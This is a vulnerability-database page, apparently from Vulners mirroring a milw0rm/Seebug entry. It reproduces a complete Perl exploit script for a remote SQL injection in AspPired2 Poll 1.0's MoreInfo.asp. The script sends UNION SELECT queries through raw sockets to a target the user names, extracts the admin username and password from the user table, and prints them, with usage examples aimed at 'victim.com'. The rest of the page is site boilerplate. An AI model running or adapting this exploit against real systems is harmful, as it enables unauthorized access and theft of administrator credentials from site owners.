Lucene search
K

AspPired2Poll <= 1.0 (MoreInfo.asp) Remote SQL Injection Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 8 Views

Remote SQL Injection Exploit in AspPired2Poll MoreInfo.as

Code

                                                #!/usr/bin/perl
#[Script Name: AspPired2 Poll &#60;= 1.0 (MoreInfo.asp) Remote SQL Injection Exploit
#[Coded by   : ajann
#[Author     : ajann
#[Contact    : :(

use IO::Socket;
if(@ARGV &#60; 3){
print &#34;
[========================================================================
[//  AspPired2 Poll &#60;= 1.0 (MoreInfo.asp) Remote SQL Injection Exploit
[//           Usage: class.pl [target] [path] [userid]
[//                   Example: exploit.pl victim.com / 1
[//                   Example: exploit.pl victim.com /path/ 1
[//                           Vuln&Exp : ajann
[========================================================================
&#34;;
exit();
}
#Local variables
$server = $ARGV[0];
$server =~ s/(http:\/\/)//eg;
$host = &#34;http://&#34;.$server;
$port = &#34;80&#34;;
$dir = $ARGV[1];
$file = &#34;MoreInfo.asp?id=&#34;;
$target = &#34;-1+union+select+login+from+user+where+no+like%20&#34;.$ARGV[2];
$target = $host.$dir.$file.$target;

$targettwo = &#34;-1+union+select+password+from+user+where+no+like%20&#34;.$ARGV[2];
$targettwo = $host.$dir.$file.$targettwo;



#Writing data to socket
print &#34;+**********************************************************************+\n&#34;;
print &#34;+ Trying to connect: $server\n&#34;;
$socket = IO::Socket::INET-&#62;new(Proto =&#62; &#34;tcp&#34;, PeerAddr =&#62; &#34;$server&#34;, PeerPort =&#62; &#34;$port&#34;) || die &#34;\n+ Connection failed...\n&#34;;
print $socket &#34;GET $target\n&#34;;
print $socket &#34;Host: $server\n&#34;;
print $socket &#34;Accept: */*\n&#34;;
print $socket &#34;Connection: close\n\n&#34;;
print &#34;+ Connected!...\n&#34;;
#Getting
while($answer = &#60;$socket&#62;) {
if ($answer =~ /ltext\&#34;&#62;(.*?)&#60;\/td&#62;/){ 
print &#34;+ Exploit succeed! Getting admin information.\n&#34;;
print &#34;+ ---------------- +\n&#34;;
print &#34;+ Username: $1\n&#34;;

print &#34;+**********************************************************************+\n&#34;;
print &#34;+ Trying to connect for Password: $server\n&#34;;
$socket1 = IO::Socket::INET-&#62;new(Proto =&#62; &#34;tcp&#34;, PeerAddr =&#62; &#34;$server&#34;, PeerPort =&#62; &#34;$port&#34;) || die &#34;\n+ Connection failed...\n&#34;;
print $socket1 &#34;GET $targettwo\n&#34;;
print $socket1 &#34;Host: $server\n&#34;;
print $socket1 &#34;Accept: */*\n&#34;;
print $socket1 &#34;Connection: close\n\n&#34;;
print &#34;+ Connected!...\n&#34;;
#Getting
while($answer = &#60;$socket1&#62;) {
if ($answer =~ /ltext\&#34;&#62;(.*?)&#60;\/td&#62;/){ 
print &#34;+ Exploit succeed! Getting admin information.\n&#34;;
print &#34;+ ---------------- +\n&#34;;
print &#34;+ Password: $1\n&#34;;
print &#34;+**********************************************************************+\n&#34;;
exit();
}


if ($answer =~ /Ad removed or not yet approved/) { 
print &#34;+ Exploit Failed : ( \n&#34;;
print &#34;+**********************************************************************+\n&#34;;
exit(); 
}

if ($answer =~ /Internal Server Error/) {
print &#34;+ Exploit Failed : (  \n&#34;;
print &#34;+**********************************************************************+\n&#34;;
exit(); 
}
 }
   } 
    }
print &#34;+ Exploit failed :(\n&#34;;
print &#34;+**********************************************************************+\n&#34;;

# milw0rm.com [2006-11-09]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
8